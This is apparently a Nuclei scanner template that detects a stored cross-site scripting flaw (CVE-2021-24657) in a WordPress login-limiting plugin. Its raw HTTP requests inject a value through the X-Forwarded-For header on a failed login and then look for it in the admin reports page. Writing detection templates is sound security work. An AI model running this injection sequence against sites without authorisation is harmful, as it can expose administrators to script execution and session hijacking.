id: CVE-2021-24657
info:
name: Limit Login Attempts WordPress - Stored Cross-site Scripting
author: theamanrawat
severity: medium
description: |
Limit Login Attempts WordPress plugin < 4.0.50 contains a stored cross-site scripting caused by not escaping IP addresses controlled via headers like X-Forwarded-For before outputting them in reports, letting unauthenticated attackers execute scripts in admin context.
impact: |
Unauthenticated attackers can execute arbitrary scripts in admin browsers, potentially leading to session hijacking or defacement.
remediation: |
Update to version 4.0.50 or later.
reference:
- https://wordpress.org/plugins/miniorange-limit-login-attempts
- https://nvd.nist.gov/vuln/detail/CVE-2021-24657
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24657
epss-score: 0.01582
epss-percentile: 0.73025
cwe-id: CWE-79
metadata:
verified: true
max-requests: 3
public-www: "/wp-content/plugins/miniorange-limit-login-attempts/"
tags: cve,cve2021,wordpress,wp,wp-plugin,miniorange-limit-login-attempts,xss,authenticated
flow: http(1) && http(2) && http(3)
variables:
rand: '{{rand_text_alpha(6, "abc")}}'
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For:{{rand}}
log={{rand}}&pwd={{rand}}&wp-submit=Log+In&testcookie=1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "login attempts remaining.")'
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=reports HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "login_reports", "{{rand}}", "")'
condition: and
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